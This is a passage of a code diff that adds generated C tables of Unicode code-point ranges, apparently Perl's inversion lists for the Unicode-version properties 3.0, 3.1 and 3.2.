+	0xFF5F,
+	0xFF61,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFC,
+	0x10000,
+	0x1FFFE,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xEFFFE,
+	0x110000
+};
+
+static const UV PL_IN__3_invlist[] = { /* for all charsets */
+	738,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x220,
+	0x222,
+	0x234,
+	0x250,
+	0x2AE,
+	0x2B0,
+	0x2EF,
+	0x300,
+	0x34F,
+	0x360,
+	0x363,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3CF,
+	0x3D0,
+	0x3D8,
+	0x3DA,
+	0x3F4,
+	0x400,
+	0x487,
+	0x488,
+	0x48A,
+	0x48C,
+	0x4C5,
+	0x4C7,
+	0x4C9,
+	0x4CB,
+	0x4CD,
+	0x4D0,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x591,
+	0x5A2,
+	0x5A3,
+	0x5BA,
+	0x5BB,
+	0x5C5,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x621,
+	0x63B,
+	0x640,
+	0x656,
+	0x660,
+	0x66E,
+	0x670,
+	0x6EE,
+	0x6F0,
+	0x6FF,
+	0x700,
+	0x70E,
+	0x70F,
+	0x72D,
+	0x730,
+	0x74B,
+	0x780,
+	0x7B1,
+	0x901,
+	0x904,
+	0x905,
+	0x93A,
+	0x93C,
+	0x94E,
+	0x950,
+	0x955,
+	0x958,
+	0x971,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FB,
+	0xA02,
+	0xA03,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA75,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8C,
+	0xA8D,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE1,
+	0xAE6,
+	0xAF0,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB36,
+	0xB3A,
+	0xB3C,
+	0xB44,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB66,
+	0xB71,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBB6,
+	0xBB7,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE7,
+	0xBF3,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC60,
+	0xC62,
+	0xC66,
+	0xC70,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE6,
+	0xCF0,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD29,
+	0xD2A,
+	0xD3A,
+	0xD3E,
+	0xD44,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD62,
+	0xD66,
+	0xD70,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEDE,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6B,
+	0xF71,
+	0xF8C,
+	0xF90,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCF,
+	0xFD0,
+	0x1000,
+	0x1022,
+	0x1023,
+	0x1028,
+	0x1029,
+	0x102B,
+	0x102C,
+	0x1033,
+	0x1036,
+	0x103A,
+	0x1040,
+	0x105A,
+	0x10A0,
+	0x10C6,
+	0x10D0,
+	0x10F7,
+	0x10FB,
+	0x10FC,
+	0x1100,
+	0x115A,
+	0x115F,
+	0x11A3,
+	0x11A8,
+	0x11FA,
+	0x1200,
+	0x1207,
+	0x1208,
+	0x1247,
+	0x1248,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1287,
+	0x1288,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12AF,
+	0x12B0,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12CF,
+	0x12D0,
+	0x12D7,
+	0x12D8,
+	0x12EF,
+	0x12F0,
+	0x130F,
+	0x1310,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x131F,
+	0x1320,
+	0x1347,
+	0x1348,
+	0x135B,
+	0x1361,
+	0x137D,
+	0x13A0,
+	0x13F5,
+	0x1401,
+	0x1677,
+	0x1680,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1780,
+	0x17DD,
+	0x17E0,
+	0x17EA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AA,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2047,
+	0x2048,
+	0x204E,
+	0x206A,
+	0x2071,
+	0x2074,
+	0x208F,
+	0x20A0,
+	0x20B0,
+	0x20D0,
+	0x20E4,
+	0x2100,
+	0x213B,
+	0x2153,
+	0x2184,
+	0x2190,
+	0x21F4,
+	0x2200,
+	0x22F2,
+	0x2300,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x24EB,
+	0x2500,
+	0x2596,
+	0x25A0,
+	0x25F8,
+	0x2600,
+	0x2614,
+	0x2619,
+	0x2672,
+	0x2701,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x275F,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x2800,
+	0x2900,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x303B,
+	0x303E,
+	0x3040,
+	0x3041,
+	0x3095,
+	0x3099,
+	0x309F,
+	0x30A1,
+	0x30FF,
+	0x3105,
+	0x312D,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31B8,
+	0x3200,
+	0x321D,
+	0x3220,
+	0x3244,
+	0x3260,
+	0x327C,
+	0x327F,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FA6,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4A2,
+	0xA4A4,
+	0xA4B4,
+	0xA4B5,
+	0xA4C1,
+	0xA4C2,
+	0xA4C5,
+	0xA4C6,
+	0xA4C7,
+	0xAC00,
+	0xD7A4,
+	0xD800,
+	0xFA2E,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE20,
+	0xFE24,
+	0xFE30,
+	0xFE45,
+	0xFE49,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF5F,
+	0xFF61,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x10000,
+	0x1FFFE,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xEFFFE,
+	0x110000
+};
+
+static const UV PL_IN__3_DOT_1_invlist[] = { /* for all charsets */
+	804,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x220,
+	0x222,
+	0x234,
+	0x250,
+	0x2AE,
+	0x2B0,
+	0x2EF,
+	0x300,
+	0x34F,
+	0x360,
+	0x363,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3CF,
+	0x3D0,
+	0x3D8,
+	0x3DA,
 	0x3F6,
-	0x3F7,
-	0x482,
+	0x400,
+	0x487,
+	0x488,
 	0x48A,
-	0x530,
+	0x48C,
+	0x4C5,
+	0x4C7,
+	0x4C9,
+	0x4CB,
+	0x4CD,
+	0x4D0,
+	0x4F6,
+	0x4F8,
+	0x4FA,
 	0x531,
 	0x557,
+	0x559,
+	0x560,
 	0x561,
 	0x588,
+	0x589,
+	0x58B,
+	0x591,
+	0x5A2,
+	0x5A3,
+	0x5BA,
+	0x5BB,
+	0x5C5,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x621,
+	0x63B,
+	0x640,
+	0x656,
+	0x660,
+	0x66E,
+	0x670,
+	0x6EE,
+	0x6F0,
+	0x6FF,
+	0x700,
+	0x70E,
+	0x70F,
+	0x72D,
+	0x730,
+	0x74B,
+	0x780,
+	0x7B1,
+	0x901,
+	0x904,
+	0x905,
+	0x93A,
+	0x93C,
+	0x94E,
+	0x950,
+	0x955,
+	0x958,
+	0x971,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FB,
+	0xA02,
+	0xA03,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA75,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8C,
+	0xA8D,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE1,
+	0xAE6,
+	0xAF0,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB36,
+	0xB3A,
+	0xB3C,
+	0xB44,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB66,
+	0xB71,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBB6,
+	0xBB7,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE7,
+	0xBF3,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC60,
+	0xC62,
+	0xC66,
+	0xC70,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE6,
+	0xCF0,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD29,
+	0xD2A,
+	0xD3A,
+	0xD3E,
+	0xD44,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD62,
+	0xD66,
+	0xD70,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEDE,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6B,
+	0xF71,
+	0xF8C,
+	0xF90,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCF,
+	0xFD0,
+	0x1000,
+	0x1022,
+	0x1023,
+	0x1028,
+	0x1029,
+	0x102B,
+	0x102C,
+	0x1033,
+	0x1036,
+	0x103A,
+	0x1040,
+	0x105A,
 	0x10A0,
 	0x10C6,
+	0x10D0,
+	0x10F7,
+	0x10FB,
+	0x10FC,
+	0x1100,
+	0x115A,
+	0x115F,
+	0x11A3,
+	0x11A8,
+	0x11FA,
+	0x1200,
+	0x1207,
+	0x1208,
+	0x1247,
+	0x1248,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1287,
+	0x1288,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12AF,
+	0x12B0,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12CF,
+	0x12D0,
+	0x12D7,
+	0x12D8,
+	0x12EF,
+	0x12F0,
+	0x130F,
+	0x1310,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x131F,
+	0x1320,
+	0x1347,
+	0x1348,
+	0x135B,
+	0x1361,
+	0x137D,
+	0x13A0,
+	0x13F5,
+	0x1401,
+	0x1677,
+	0x1680,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1780,
+	0x17DD,
+	0x17E0,
+	0x17EA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AA,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2047,
+	0x2048,
+	0x204E,
+	0x206A,
+	0x2071,
+	0x2074,
+	0x208F,
+	0x20A0,
+	0x20B0,
+	0x20D0,
+	0x20E4,
+	0x2100,
+	0x213B,
+	0x2153,
+	0x2184,
+	0x2190,
+	0x21F4,
+	0x2200,
+	0x22F2,
+	0x2300,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x24EB,
+	0x2500,
+	0x2596,
+	0x25A0,
+	0x25F8,
+	0x2600,
+	0x2614,
+	0x2619,
+	0x2672,
+	0x2701,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x275F,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x2800,
+	0x2900,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x303B,
+	0x303E,
+	0x3040,
+	0x3041,
+	0x3095,
+	0x3099,
+	0x309F,
+	0x30A1,
+	0x30FF,
+	0x3105,
+	0x312D,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31B8,
+	0x3200,
+	0x321D,
+	0x3220,
+	0x3244,
+	0x3260,
+	0x327C,
+	0x327F,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FA6,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4A2,
+	0xA4A4,
+	0xA4B4,
+	0xA4B5,
+	0xA4C1,
+	0xA4C2,
+	0xA4C5,
+	0xA4C6,
+	0xA4C7,
+	0xAC00,
+	0xD7A4,
+	0xD800,
+	0xFA2E,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFC,
+	0xFE20,
+	0xFE24,
+	0xFE30,
+	0xFE45,
+	0xFE49,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF5F,
+	0xFF61,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x10000,
+	0x10300,
+	0x1031F,
+	0x10320,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10400,
+	0x10426,
+	0x10428,
+	0x1044E,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D12A,
+	0x1D1DE,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C1,
+	0x1D4C2,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A4,
+	0x1D6A8,
+	0x1D7CA,
+	0x1D7CE,
+	0x1D800,
+	0x1FFFE,
+	0x2A6D7,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xEFFFE,
+	0x110000
+};
+
+static const UV PL_IN__3_DOT_2_invlist[] = { /* for all charsets */
+	794,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x221,
+	0x222,
+	0x234,
+	0x250,
+	0x2AE,
+	0x2B0,
+	0x2EF,
+	0x300,
+	0x350,
+	0x360,
+	0x370,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3CF,
+	0x3D0,
+	0x3F7,
+	0x400,
+	0x487,
+	0x488,
+	0x4CF,
+	0x4D0,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x500,
+	0x510,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x591,
+	0x5A2,
+	0x5A3,
+	0x5BA,
+	0x5BB,
+	0x5C5,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x621,
+	0x63B,
+	0x640,
+	0x656,
+	0x660,
+	0x6EE,
+	0x6F0,
+	0x6FF,
+	0x700,
+	0x70E,
+	0x70F,
+	0x72D,
+	0x730,
+	0x74B,
+	0x780,
+	0x7B2,
+	0x901,
+	0x904,
+	0x905,
+	0x93A,
+	0x93C,
+	0x94E,
+	0x950,
+	0x955,
+	0x958,
+	0x971,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
